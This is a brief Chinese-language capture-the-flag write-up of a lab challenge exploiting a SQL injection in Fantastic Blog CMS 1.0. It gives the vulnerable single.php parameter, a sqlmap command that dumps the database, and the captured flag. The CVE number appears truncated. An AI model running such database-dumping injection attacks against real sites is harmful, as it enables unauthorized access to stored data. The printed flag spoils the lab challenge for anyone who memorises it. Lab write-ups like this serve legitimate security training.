CVE--28512 Fantastic Blog CMS 1.0 版本存在SQL注入漏洞

【春秋云境.com靶场】免费第5题

根据题目提示访问single.php，点击右下角博客找到注入点

http://eci-2zebeyjwvgorq0d7voju./single.php?id=3

直接sqlmap跑

python sqlmap.py -u eci-2zebeyjwvgorq0d7voju./single.php?id=3 --dump --batch

无聊干点其他的事

flag拿走点个赞 谢谢

flag{33c990b0-71f9-4f86-bdb5-accf08e1a361}